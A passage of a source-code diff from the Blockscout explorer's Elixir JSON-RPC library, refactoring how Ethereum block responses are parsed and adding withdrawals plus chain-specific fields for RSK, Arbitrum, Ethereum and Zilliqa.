gas_limit, - "gasUsed" => gas_used, - "hash" => hash, - "logsBloom" => logs_bloom, - "miner" => miner_hash, - "number" => number, - "parentHash" => parent_hash, - "receiptsRoot" => receipts_root, - "sha3Uncles" => sha3_uncles, - "size" => size, - "stateRoot" => state_root, - "timestamp" => timestamp, - "totalDifficulty" => total_difficulty, - "transactionsRoot" => transactions_root, - "uncles" => uncles, - "baseFeePerGas" => base_fee_per_gas - } = elixir - ) do + def elixir_to_params(elixir) do + elixir + |> do_elixir_to_params() + |> chain_type_fields(elixir) + end + + defp do_elixir_to_params( + %{ + "difficulty" => difficulty, + "extraData" => extra_data, + "gasLimit" => gas_limit, + "gasUsed" => gas_used, + "hash" => hash, + "logsBloom" => logs_bloom, + "miner" => miner_hash, + "number" => number, + "parentHash" => parent_hash, + "receiptsRoot" => receipts_root, + "size" => size, + "stateRoot" => state_root, + "timestamp" => timestamp, + "totalDifficulty" => total_difficulty, + "transactionsRoot" => transactions_root, + "baseFeePerGas" => base_fee_per_gas + } = elixir + ) do %{ difficulty: difficulty, extra_data: extra_data, @@ -228,38 +393,38 @@ defmodule EthereumJSONRPC.Block do number: number, parent_hash: parent_hash, receipts_root: receipts_root, - sha3_uncles: sha3_uncles, + # In case of CELO, `sha3_uncles` may not be returned by eth_getBlockByHash + sha3_uncles: Map.get(elixir, "sha3Uncles", @sha3_uncles_empty_list), size: size, state_root: state_root, timestamp: timestamp, total_difficulty: total_difficulty, transactions_root: transactions_root, - uncles: uncles, + # In case of CELO, `uncles` may not be returned by eth_getBlockByHash + uncles: Map.get(elixir, "uncles", []), base_fee_per_gas: base_fee_per_gas } end - def elixir_to_params( - %{ - "difficulty" => difficulty, - "extraData" => extra_data, - "gasLimit" => gas_limit, - "gasUsed" => gas_used, - "hash" => hash, - "logsBloom" => logs_bloom, - "miner" => miner_hash, - "number" => number, - "parentHash" => parent_hash, - "receiptsRoot" => receipts_root, - "sha3Uncles" => sha3_uncles, - "size" => size, - "stateRoot" => state_root, - "timestamp" => timestamp, - "transactionsRoot" => transactions_root, - "uncles" => uncles, - "baseFeePerGas" => base_fee_per_gas - } = elixir - ) do + defp do_elixir_to_params( + %{ + "difficulty" => difficulty, + "extraData" => extra_data, + "gasLimit" => gas_limit, + "gasUsed" => gas_used, + "hash" => hash, + "logsBloom" => logs_bloom, + "miner" => miner_hash, + "number" => number, + "parentHash" => parent_hash, + "receiptsRoot" => receipts_root, + "size" => size, + "stateRoot" => state_root, + "timestamp" => timestamp, + "transactionsRoot" => transactions_root, + "baseFeePerGas" => base_fee_per_gas + } = elixir + ) do %{ difficulty: difficulty, extra_data: extra_data, @@ -273,37 +438,37 @@ defmodule EthereumJSONRPC.Block do number: number, parent_hash: parent_hash, receipts_root: receipts_root, - sha3_uncles: sha3_uncles, + # In case of CELO, `sha3_uncles` may not be returned by eth_getBlockByHash + sha3_uncles: Map.get(elixir, "sha3Uncles", @sha3_uncles_empty_list), size: size, state_root: state_root, timestamp: timestamp, transactions_root: transactions_root, - uncles: uncles, + # In case of CELO, `uncles` may not be returned by eth_getBlockByHash + uncles: Map.get(elixir, "uncles", []), base_fee_per_gas: base_fee_per_gas } end - def elixir_to_params( - %{ - "difficulty" => difficulty, - "extraData" => extra_data, - "gasLimit" => gas_limit, - "gasUsed" => gas_used, - "hash" => hash, - "logsBloom" => logs_bloom, - "miner" => miner_hash, - "number" => number, - "parentHash" => parent_hash, - "receiptsRoot" => receipts_root, - "sha3Uncles" => sha3_uncles, - "size" => size, - "stateRoot" => state_root, - "timestamp" => timestamp, - "totalDifficulty" => total_difficulty, - "transactionsRoot" => transactions_root, - "uncles" => uncles - } = elixir - ) do + defp do_elixir_to_params( + %{ + "difficulty" => difficulty, + "extraData" => extra_data, + "gasLimit" => gas_limit, + "gasUsed" => gas_used, + "hash" => hash, + "logsBloom" => logs_bloom, + "miner" => miner_hash, + "number" => number, + "parentHash" => parent_hash, + "receiptsRoot" => receipts_root, + "size" => size, + "stateRoot" => state_root, + "timestamp" => timestamp, + "totalDifficulty" => total_difficulty, + "transactionsRoot" => transactions_root + } = elixir + ) do %{ difficulty: difficulty, extra_data: extra_data, @@ -317,37 +482,37 @@ defmodule EthereumJSONRPC.Block do number: number, parent_hash: parent_hash, receipts_root: receipts_root, - sha3_uncles: sha3_uncles, + # In case of CELO, `sha3_uncles` may not be returned by eth_getBlockByHash + sha3_uncles: Map.get(elixir, "sha3Uncles", @sha3_uncles_empty_list), size: size, state_root: state_root, timestamp: timestamp, total_difficulty: total_difficulty, transactions_root: transactions_root, - uncles: uncles + # In case of CELO, `uncles` may not be returned by eth_getBlockByHash + uncles: Map.get(elixir, "uncles", []) } end # Geth: a response from eth_getblockbyhash for uncle blocks is without `totalDifficulty` param - def elixir_to_params( - %{ - "difficulty" => difficulty, - "extraData" => extra_data, - "gasLimit" => gas_limit, - "gasUsed" => gas_used, - "hash" => hash, - "logsBloom" => logs_bloom, - "miner" => miner_hash, - "number" => number, - "parentHash" => parent_hash, - "receiptsRoot" => receipts_root, - "sha3Uncles" => sha3_uncles, - "size" => size, - "stateRoot" => state_root, - "timestamp" => timestamp, - "transactionsRoot" => transactions_root, - "uncles" => uncles - } = elixir - ) do + defp do_elixir_to_params( + %{ + "difficulty" => difficulty, + "extraData" => extra_data, + "gasLimit" => gas_limit, + "gasUsed" => gas_used, + "hash" => hash, + "logsBloom" => logs_bloom, + "miner" => miner_hash, + "number" => number, + "parentHash" => parent_hash, + "receiptsRoot" => receipts_root, + "size" => size, + "stateRoot" => state_root, + "timestamp" => timestamp, + "transactionsRoot" => transactions_root + } = elixir + ) do %{ difficulty: difficulty, extra_data: extra_data, @@ -361,15 +526,64 @@ defmodule EthereumJSONRPC.Block do number: number, parent_hash: parent_hash, receipts_root: receipts_root, - sha3_uncles: sha3_uncles, + # In case of CELO, `sha3_uncles` may not be returned by eth_getBlockByHash + sha3_uncles: Map.get(elixir, "sha3Uncles", @sha3_uncles_empty_list), size: size, state_root: state_root, timestamp: timestamp, transactions_root: transactions_root, - uncles: uncles + # In case of CELO, `uncles` may not be returned by eth_getBlockByHash + uncles: Map.get(elixir, "uncles", []) } end + @spec chain_type_fields(params, elixir) :: params + case @chain_type do + :rsk -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + minimum_gas_price: Map.get(elixir, "minimumGasPrice"), + bitcoin_merged_mining_header: Map.get(elixir, "bitcoinMergedMiningHeader"), + bitcoin_merged_mining_coinbase_transaction: Map.get(elixir, "bitcoinMergedMiningCoinbaseTransaction"), + bitcoin_merged_mining_merkle_proof: Map.get(elixir, "bitcoinMergedMiningMerkleProof"), + hash_for_merged_mining: Map.get(elixir, "hashForMergedMining") + }) + end + + :ethereum -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + withdrawals_root: + Map.get(elixir, "withdrawalsRoot", "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421"), + blob_gas_used: Map.get(elixir, "blobGasUsed", 0), + excess_blob_gas: Map.get(elixir, "excessBlobGas", 0) + }) + end + + :arbitrum -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + send_count: Map.get(elixir, "sendCount"), + send_root: Map.get(elixir, "sendRoot"), + l1_block_number: Map.get(elixir, "l1BlockNumber") + }) + end + + :zilliqa -> + defp chain_type_fields(params, elixir) do + params + |> Map.merge(%{ + zilliqa_view: Map.get(elixir, "view") + }) + end + + _ -> + defp chain_type_fields(params, _), do: params + end + @doc """ Get `t:EthereumJSONRPC.Transactions.elixir/0` from `t:elixir/0` @@ -506,6 +720,99 @@ defmodule EthereumJSONRPC.Block do |> Enum.map(fn {uncle_hash, index} -> %{"hash" => uncle_hash, "nephewHash" => nephew_hash, "index" => index} end) end + def elixir_to_uncles(_), do: [] + + @doc """ + Get `t:EthereumJSONRPC.Withdrawals.elixir/0` from `t:elixir/0`. + + iex> EthereumJSONRPC.Block.elixir_to_withdrawals( + ...> %{ + ...> "baseFeePerGas" => 7, + ...> "difficulty" => 0, + ...> "extraData" => "0x", + ...> "gasLimit" => 7_009_844, + ...> "gasUsed" => 0, + ...> "hash" => "0xc0b72358464dc55cb51c990360d94809e40f291603a7664d55cf83f87edb799d", + ...> "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + ...> "miner" => "0xe7c180eada8f60d63e9671867b2e0ca2649207a8", + ...> "mixHash" => "0x9cc5c22d51f47caf700636f629e0765a5fe3388284682434a3717d099960681a", + ...> "nonce" => "0x0000000000000000", + ...> "number" => 541, + ...> "parentHash" => "0x9bc27f8db423bea352a32b819330df307dd351da71f3b3f8ac4ad56856c1e053", + ...> "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + ...> "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + ...> "size" => 1107, + ...> "stateRoot" => "0x9de54b38595b4b8baeece667ae1f7bec8cfc814a514248985e3d98c91d331c71", + ...> "timestamp" => Timex.parse!("2022-12-15T21:06:15Z", "{ISO:Extended:Z}"), + ...> "totalDifficulty" => 1, + ...> "transactions" => [], + ...> "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + ...> "uncles" => [], + ...> "withdrawals" => [ + ...> %{ + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => 4_040_000_000_000, + ...> "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + ...> "index" => 3867, + ...> "validatorIndex" => 1721 + ...> }, + ...> %{ + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => 4_040_000_000_000, + ...> "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + ...> "index" => 3868, + ...> "validatorIndex" => 1771 + ...> } + ...> ], + ...> "withdrawalsRoot" => "0x23e926286a20cba56ee0fcf0eca7aae44f013bd9695aaab58478e8d69b0c3d68" + ...> } + ...> ) + [ + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4040000000000, + "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + "index" => 3867, + "validatorIndex" => 1721 + }, + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4040000000000, + "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + "index" => 3868, + "validatorIndex" => 1771 + } + ] + + """ + @spec elixir_to_withdrawals(elixir) :: Withdrawals.elixir() + def elixir_to_withdrawals(%{"withdrawals" => withdrawals}), do: withdrawals + def elixir_to_withdrawals(_), do: [] + + @doc """ + Get `t:EthereumJSONRPC.Zilliqa.QuorumCertificate.elixir/0` from `t:elixir/0`. + """ + @spec elixir_to_zilliqa_quorum_certificate(elixir()) :: ZilliqaQuorumCertificate.t() | nil + def elixir_to_zilliqa_quorum_certificate(%{"quorumCertificate" => quorum_certificate}), + do: quorum_certificate + + # WARN: This clause is introduced as a workaround to fix tests. HOWEVER, it + # allows the block with a `quorumCertificate` field to be successfully + # imported. This is a temporary solution and should be addressed in the future. + def elixir_to_zilliqa_quorum_certificate(_), do: nil + + @doc """ + Get `t:EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate.elixir/0` from `t:elixir/0`. + """ + @spec elixir_to_zilliqa_aggregate_quorum_certificate(elixir()) :: + ZilliqaAggregateQuorumCertificate.t() | nil + def elixir_to_zilliqa_aggregate_quorum_certificate(%{ + "aggregateQuorumCertificate" => aggregate_quorum_certificate + }), + do: aggregate_quorum_certificate + + def elixir_to_zilliqa_aggregate_quorum_certificate(_), do: nil + @doc """ Decodes the stringly typed numerical fields to `t:non_neg_integer/0` and the timestamps to `t:DateTime.t/0` @@ -535,7 +842,22 @@ defmodule EthereumJSONRPC.Block do ...> "totalDifficulty" => "0x2ffffffffffffffffffffffffedf78e41", ...> "transactions" => [], ...> "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - ...> "uncles" => [] + ...> "uncles" => [], + ...> "withdrawals" => [ + ...> %{ + ...> "index" => "0xf1b", + ...> "validatorIndex" => "0x6b9", + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => "0x3aca2c3d000" + ...> }, + ...> %{ + ...> "index" => "0xf1c", + ...> "validatorIndex" => "0x6eb", + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => "0x3aca2c3d000" + ...> } + ...> ], + ...> "withdrawalsRoot" => "0x23e926286a20cba56ee0fcf0eca7aae44f013bd9695aaab58478e8d69b0c3d68" ...> } ...> ) %{ @@ -563,44 +885,91 @@ defmodule EthereumJSONRPC.Block do "totalDifficulty" => 1020847100762815390390123822295002091073, "transactions" => [], "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "uncles" => [] + "uncles" => [], + "withdrawals" => [ + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4_040_000_000_000, + "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + "index" => 3867, + "blockNumber" => 3, + "validatorIndex" => 1721 + }, + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4_040_000_000_000, + "blockHash" => "0x7f035c5f3c0678250853a1fde6027def7cac1812667bd0d5ab7ccb94eb8b6f3a", + "index" => 3868, + "blockNumber" => 3, + "validatorIndex" => 1771 + } + ], + "withdrawalsRoot" => "0x23e926286a20cba56ee0fcf0eca7aae44f013bd9695aaab58478e8d69b0c3d68" } """ def to_elixir(block) when is_map(block) do - Enum.into(block, %{}, &entry_to_elixir/1) + Enum.into(block, %{}, &entry_to_elixir(&1, block)) end - defp entry_to_elixir({key, quantity}) - when key in ~w(difficulty gasLimit gasUsed minimumGasPrice baseFeePerGas number size cumulativeDifficulty totalDifficulty paidFees) and + defp entry_to_elixir({key, quantity}, _block) + when key in ~w(difficulty gasLimit gasUsed minimumGasPrice baseFeePerGas number size + cumulativeDifficulty totalDifficulty paidFees blobGasUsed + excessBlobGas l1BlockNumber sendCount) and not is_nil(quantity) do {key, quantity_to_integer(quantity)} end # Size and totalDifficulty may be `nil` for uncle blocks - defp entry_to_elixir({key, nil}) when key in ~w(size totalDifficulty) do + defp entry_to_elixir({key, nil}, _block) when key in ~w(size totalDifficulty) do {key, nil} end # double check that no new keys are being missed by requiring explicit match for passthrough # `t:EthereumJSONRPC.address/0` and `t:EthereumJSONRPC.hash/0` pass through as `Explorer.Chain` can verify correct # hash format - defp entry_to_elixir({key, _} = entry) - when key in ~w(author extraData hash logsBloom miner mixHash nonce parentHash receiptsRoot sealFields sha3Uncles - signature stateRoot step transactionsRoot uncles), + defp entry_to_elixir({key, _} = entry, _block) + when key in ~w(author extraData hash logsBloom miner mixHash nonce parentHash receiptsRoot + sealFields sha3Uncles signature stateRoot step transactionsRoot uncles + withdrawalsRoot bitcoinMergedMiningHeader bitcoinMergedMiningCoinbaseTransaction + bitcoinMergedMiningMerkleProof hashForMergedMining sendRoot), do: entry - defp entry_to_elixir({"timestamp" = key, timestamp}) do + defp entry_to_elixir({"timestamp" = key, timestamp}, _block) do {key, timestamp_to_datetime(timestamp)} end - defp entry_to_elixir({"transactions" = key, transactions}) do - {key, Transactions.to_elixir(transactions)} + defp entry_to_elixir({"transactions" = key, transactions}, %{"timestamp" => block_timestamp}) do + {key, Transactions.to_elixir(transactions, timestamp_to_datetime(block_timestamp))} end - # Arbitrum fields - defp entry_to_elixir({"l1BlockNumber", _}) do - {:ignore, :ignore} + defp entry_to_elixir({"withdrawals" = key, nil}, _block) do + {key, []} + end + + defp entry_to_elixir({"withdrawals" = key, withdrawals}, %{"hash" => block_hash, "number" => block_number}) + when not is_nil(block_number) do + {key, Withdrawals.to_elixir(withdrawals, block_hash, quantity_to_integer(block_number))} + end + + case @chain_type do + :zilliqa -> + defp entry_to_elixir({"view" = key, quantity}, _block) when not is_nil(quantity) do + {key, quantity_to_integer(quantity)} + end + + defp entry_to_elixir({"quorumCertificate" = key, entry}, %{"hash" => block_hash}) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + {key, EthereumJSONRPC.Zilliqa.QuorumCertificate.new(entry, block_hash)} + end + + defp entry_to_elixir({"aggregateQuorumCertificate" = key, entry}, %{"hash" => block_hash}) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + {key, EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate.new(entry, block_hash)} + end + + _ -> + :ok end # bitcoinMergedMiningCoinbaseTransaction bitcoinMergedMiningHeader bitcoinMergedMiningMerkleProof hashForMergedMining - RSK https://github.com/blockscout/blockscout/pull/2934 @@ -609,7 +978,7 @@ defmodule EthereumJSONRPC.Block do # blockExtraData extDataHash - Avalanche https://github.com/blockscout/blockscout/pull/5348 # vrf vrfProof - Harmony # ... - defp entry_to_elixir({_, _}) do + defp entry_to_elixir({_, _}, _block) do {:ignore, :ignore} end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_hash.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_hash.ex index 07d1e48b4d1e..83aa6fa4ad00 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_hash.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_hash.ex @@ -1,11 +1,9 @@ defmodule EthereumJSONRPC.Block.ByHash do @moduledoc """ - Block format as returned by [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbyhash) + Block format as returned by [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbyhash) """ - @include_transactions true - - def request(%{id: id, hash: hash}) do - EthereumJSONRPC.request(%{id: id, method: "eth_getBlockByHash", params: [hash, @include_transactions]}) + def request(%{id: id, hash: hash}, hydrated \\ true) do + EthereumJSONRPC.request(%{id: id, method: "eth_getBlockByHash", params: [hash, hydrated]}) end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_nephew.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_nephew.ex index 56e839334326..eba8c46ec826 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_nephew.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_nephew.ex @@ -1,6 +1,6 @@ defmodule EthereumJSONRPC.Block.ByNephew do @moduledoc """ - Block format as returned by [`eth_getUncleByBlockHashAndIndex`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getUncleByBlockHashAndIndex) + Block format as returned by [`eth_getUncleByBlockHashAndIndex`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getunclebyblockhashandindex) """ import EthereumJSONRPC, only: [integer_to_quantity: 1] diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_number.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_number.ex index 80ec9b1cd105..b551c4f8e9e3 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_number.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_number.ex @@ -1,11 +1,39 @@ defmodule EthereumJSONRPC.Block.ByNumber do @moduledoc """ - Block format as returned by [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbyhash) + Provides functionality to compose JSON-RPC requests for fetching Ethereum blocks by their number. + + Block format as returned by [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbyhash) """ import EthereumJSONRPC, only: [integer_to_quantity: 1] - def request(%{id: id, number: number}) do - EthereumJSONRPC.request(%{id: id, method: "eth_getBlockByNumber", params: [integer_to_quantity(number), true]}) + alias EthereumJSONRPC.Transport + + @doc """ + Creates a request to fetch a block by its number using `eth_getBlockByNumber`. + + ## Parameters + - `map`: A map containing: + - `id`: Request identifier + - `number`: Block number as integer or hex string + - `hydrated`: When true, returns full transaction objects. When false, returns + only transaction hashes. Defaults to true. + - `int_to_qty`: When true, converts integer block numbers to hex format. + When false, uses the number as-is. Defaults to true. + + ## Returns + - A JSON-RPC request map for `eth_getBlockByNumber` + """ + @spec request(%{id: non_neg_integer(), number: non_neg_integer() | binary()}, boolean(), boolean()) :: + Transport.request() + def request(%{id: id, number: number}, hydrated \\ true, int_to_qty \\ true) do + block_number = + if int_to_qty do + integer_to_quantity(number) + else + number + end + + EthereumJSONRPC.request(%{id: id, method: "eth_getBlockByNumber", params: [block_number, hydrated]}) end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_tag.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_tag.ex index 1c9d57c4933f..7c48d80d19ec 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_tag.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/block/by_tag.ex @@ -1,23 +1,60 @@ defmodule EthereumJSONRPC.Block.ByTag do @moduledoc """ - Block format returned by [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbyhash) + Block format returned by [`eth_getBlockByNumber`](https://ethereum.org/en/developers/docs/apis/json-rpc/#eth_getblockbyhash) when used with a semantic tag name instead of a number. """ import EthereumJSONRPC, only: [quantity_to_integer: 1] + alias EthereumJSONRPC.Blocks + @doc """ + Creates a JSON-RPC request to fetch a block by its semantic tag. + + ## Parameters + - `%{id: id, tag: tag}`: Request parameters where: + - `id`: Request identifier as a binary or non-negative integer + - `tag`: Semantic tag (e.g. "latest", "earliest", "pending") as a binary string + + ## Returns + A JSON-RPC 2.0 request map for the `eth_getBlockByNumber` method with `false` for transaction details + """ + @spec request(%{:id => binary() | non_neg_integer(), :tag => binary()}) :: EthereumJSONRPC.Transport.request() def request(%{id: id, tag: tag}) when is_binary(tag) do EthereumJSONRPC.request(%{id: id, method: "eth_getBlockByNumber", params: [tag, false]}) end + @doc """ + Extracts the block number from a JSON-RPC response for a block request by tag. + + Handles various response formats and error cases from eth_getBlockByNumber requests. + + ## Parameters + - `result`: The JSON-RPC response which can be: + - `{:ok, %{"number" => number}}` - Successful response with block number + - `{:ok, %Blocks{blocks_params: params}}` - Processed blocks response + - `{:ok, nil}` - No block found + - `{:error, map()}` - Error response + + ## Returns + - `{:ok, number}` - Successfully extracted block number + - `{:error, :not_found}` - Block not found or empty response + - `{:error, :invalid_tag}` - Invalid tag parameter (-32602 error) + - `{:error, term()}` - Other error from request + """ + @spec number_from_result(EthereumJSONRPC.Transport.result()) :: + {:ok, non_neg_integer()} | {:error, reason :: :invalid_tag | :not_found | term()} + def number_from_result(result) + def number_from_result({:ok, %{"number" => nil}}), do: {:error, :not_found} def number_from_result({:ok, %{"number" => quantity}}) when is_binary(quantity) do {:ok, quantity_to_integer(quantity)} end - # https://github.com/paritytech/parity-ethereum/pull/8281 fixed - # https://github.com/paritytech/parity-ethereum/issues/8028 + def number_from_result({:ok, %Blocks{blocks_params: []}}), do: {:error, :not_found} + + def number_from_result({:ok, %Blocks{blocks_params: [%{number: number}]}}), do: {:ok, number} + def number_from_result({:ok, nil}), do: {:error, :not_found} def number_from_result({:error, %{"code" => -32602}}), do: {:error, :invalid_tag} diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/blocks.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/blocks.ex index dc1740a4aaa5..c4c4fdaaed06 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/blocks.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/blocks.ex @@ -1,25 +1,76 @@ defmodule EthereumJSONRPC.Blocks do @moduledoc """ - Blocks format as returned by [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbyhash) - and [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbynumber) from batch requests. + Blocks format as returned by [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbyhash) + and [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbynumber) from batch requests. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - alias EthereumJSONRPC.{Block, Transactions, Transport, Uncles} + alias EthereumJSONRPC.{Block, Transactions, Transport, Uncles, Withdrawals} @type elixir :: [Block.elixir()] @type params :: [Block.params()] + + @default_struct_fields [ + blocks_params: [], + block_second_degree_relations_params: [], + transactions_params: [], + withdrawals_params: [], + errors: [] + ] + + case @chain_type do + :zilliqa -> + @chain_type_fields quote( + do: [ + zilliqa_quorum_certificates_params: [ + EthereumJSONRPC.Zilliqa.QuorumCertificate.params() + ], + zilliqa_aggregate_quorum_certificates_params: [ + EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate.params() + ], + zilliqa_nested_quorum_certificates_params: [ + EthereumJSONRPC.Zilliqa.NestedQuorumCertificates.params() + ] + ] + ) + + @chain_type_struct_fields [ + zilliqa_quorum_certificates_params: [], + zilliqa_aggregate_quorum_certificates_params: [], + zilliqa_nested_quorum_certificates_params: [] + ] + + _ -> + @chain_type_struct_fields [] + @chain_type_fields quote(do: []) + end + @type t :: %__MODULE__{ + unquote_splicing(@chain_type_fields), blocks_params: [map()], block_second_degree_relations_params: [map()], transactions_params: [map()], + withdrawals_params: Withdrawals.params(), errors: [Transport.error()] } - defstruct blocks_params: [], - block_second_degree_relations_params: [], - transactions_params: [], - errors: [] + defstruct @default_struct_fields ++ @chain_type_struct_fields + + @doc """ + Generates a list of JSON-RPC requests for fetching block data. + + Takes a map of request IDs to parameters and a request function, and generates + a list of JSON-RPC requests by applying the request function to each parameter + set after adding the ID. + ## Parameters + - `id_to_params`: Map of request IDs to their corresponding request parameters + - `request`: Function that takes a parameter map and returns a JSON-RPC request + + ## Returns + - List of JSON-RPC request maps ready to be sent to the Ethereum node + """ + @spec requests(%{EthereumJSONRPC.request_id() => map()}, function()) :: [EthereumJSONRPC.Transport.request()] def requests(id_to_params, request) when is_map(id_to_params) and is_function(request, 1) do Enum.map(id_to_params, fn {id, params} -> params @@ -28,10 +79,32 @@ defmodule EthereumJSONRPC.Blocks do end) end - @spec from_responses(list(), map()) :: t() + @doc """ + Processes batch responses from JSON-RPC block requests into structured block data. + + Converts raw JSON-RPC responses into a structured format containing block data, + transactions, uncles, withdrawals and any errors encountered during processing. + Sanitizes responses by handling missing IDs and adjusts errors to maintain + request-response correlation. + + ## Parameters + - `responses`: List of JSON-RPC responses from block requests. + - `id_to_params`: Map of request IDs to their corresponding requests parameters. + + ## Returns + A `t:t/0` struct containing: + - `blocks_params`: List of processed block parameters + - `block_second_degree_relations_params`: List of uncle block relations + - `transactions_params`: List of transaction parameters + - `withdrawals_params`: List of withdrawal parameters + - `errors`: List of errors encountered during processing, with adjusted IDs to + match original requests + """ + @spec from_responses(EthereumJSONRPC.Transport.batch_response(), %{EthereumJSONRPC.request_id() => map()}) :: t() def from_responses(responses, id_to_params) when is_list(responses) and is_map(id_to_params) do %{errors: errors, blocks: blocks} = responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) |> Enum.map(&Block.from_response(&1, id_to_params)) |> Enum.reduce(%{errors: [], blocks: []}, fn {:ok, block}, %{blocks: blocks} = acc -> @@ -45,17 +118,35 @@ defmodule EthereumJSONRPC.Blocks do elixir_uncles = elixir_to_uncles(elixir_blocks) elixir_transactions = elixir_to_transactions(elixir_blocks) + elixir_withdrawals = elixir_to_withdrawals(elixir_blocks) block_second_degree_relations_params = Uncles.elixir_to_params(elixir_uncles) transactions_params = Transactions.elixir_to_params(elixir_transactions) + withdrawals_params = Withdrawals.elixir_to_params(elixir_withdrawals) blocks_params = elixir_to_params(elixir_blocks) %__MODULE__{ errors: errors, blocks_params: blocks_params, block_second_degree_relations_params: block_second_degree_relations_params, - transactions_params: transactions_params + transactions_params: transactions_params, + withdrawals_params: withdrawals_params } + |> extend_with_chain_type_fields(elixir_blocks) + end + + @spec extend_with_chain_type_fields(t(), elixir()) :: t() + case @chain_type do + :zilliqa -> + defp extend_with_chain_type_fields(%__MODULE__{} = blocks, elixir_blocks) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + EthereumJSONRPC.Zilliqa.Helper.extend_blocks_struct(blocks, elixir_blocks) + end + + _ -> + defp extend_with_chain_type_fields(%__MODULE__{} = blocks, _elixir_blocks) do + blocks + end end @doc """ @@ -109,7 +200,30 @@ defmodule EthereumJSONRPC.Blocks do state_root: "0xfad4af258fd11939fae0c6c6eec9d340b1caac0b0196fd9a1bc3f489c5bf00b3", timestamp: 